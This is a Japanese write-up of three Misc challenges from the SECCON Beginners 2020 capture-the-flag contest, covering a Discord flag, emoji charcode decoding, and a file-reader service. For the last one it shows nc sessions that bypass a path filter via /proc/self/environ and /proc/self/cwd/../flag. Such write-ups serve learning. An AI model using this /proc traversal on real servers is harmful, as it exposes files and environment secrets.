SECCON beginners 2020 Writeup(Misc)
はじめに
SECCON beginners 2020に個人で参加。
時間内に解けなかった問題も他の方のwriteupを参考にして、 自分の言葉でwriteupを書いていくことにする。
まずはMiscジャンルから。
[Misc] Welcome(Beginner)
問題
Welcome to SECCON Beginners CTF 2020!
フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
解法
[Rules]を見ると、DicordのURLが記載されている。 ここにアクセスしてフラグ発見。
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
[Misc] emoemoencode(Easy)
問題
Do you know emo-emo-encode?
以下添付ファイルの中身。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
解法
「emoji encode」などで検索していると、以下のサイトが見つかる。
apps.timwhitlock.info
unicodeらしい。CyberChef
のRecipe
にTo Charcode
をセットして出力を確認する。
どの絵文字も共通して01f3
から始まっている。
フラグフォーマットである、ctf4b{
を変換してみると、絵文字の下二桁をとったものと一致していた。(01f363 01f374 01f366 01f334 01f362 01f37b )
後は、01f3
を取り除いたものを、From CharCode
に食わせるだけ。
ctf4b{stegan0graphy_by_em000000ji}
[Misc] readme(Easy)
問題
readme nc readme.quals.beginners.seccon.jp 9712
添付されているzipからはserver.py
が解凍された。
#!/usr/bin/env python3 import os assert os.path.isfile('/home/ctf/flag') # readme if __name__ == '__main__': path = input("File: ") if not os.path.exists(path): exit("[-] File not found") if not os.path.isfile(path): exit("[-] Not a file") if '/' != path[0]: exit("[-] Use absolute path") if 'ctf' in path: exit("[-] Path not allowed") try: print(open(path, 'r').read()) except: exit("[-] Permission denied")
解法
/home/ctf/flag
にフラグがあるが、入力にctf
が含まれていると、Path not allowed
が表示されるらしい。確認してみる。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /home/ctf/flag [-] Path not allowed
確かに。ctf
という文字列を使わずに、このファイルにアクセスする必要がるようだ。
前に参加したCTFで以下のページの記憶が残っていたので、/proc/self/
ディレクトリを駆使すれば解けそうだ。
web.mit.edu
/proc/self/
ディレクトリは、現在実行中のプロセスのリンクであり、プロセスの状況を把握するために活用できる。
勉強がてら/proc/self/
ディレクトリ配下を色々調べてみる。
- cmdline:プロセスを開始する時に発行されるコマンドを含む。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cmdline python3./server.py
どこかのディレクトリで、server.py
が実行されていることが分かる。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/environ HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=28595SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=126.0.26.69SOCAT_PEERPORT=55925
環境変数が表示される。PWD=/home/ctf/server
よりserver.py
が実行されているディレクトリがわかった。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cwd/../flag ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
こんな階層ってこと。
― /home
❘__ /ctf
❘__ flag
❘__ /server
❘__server.py
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}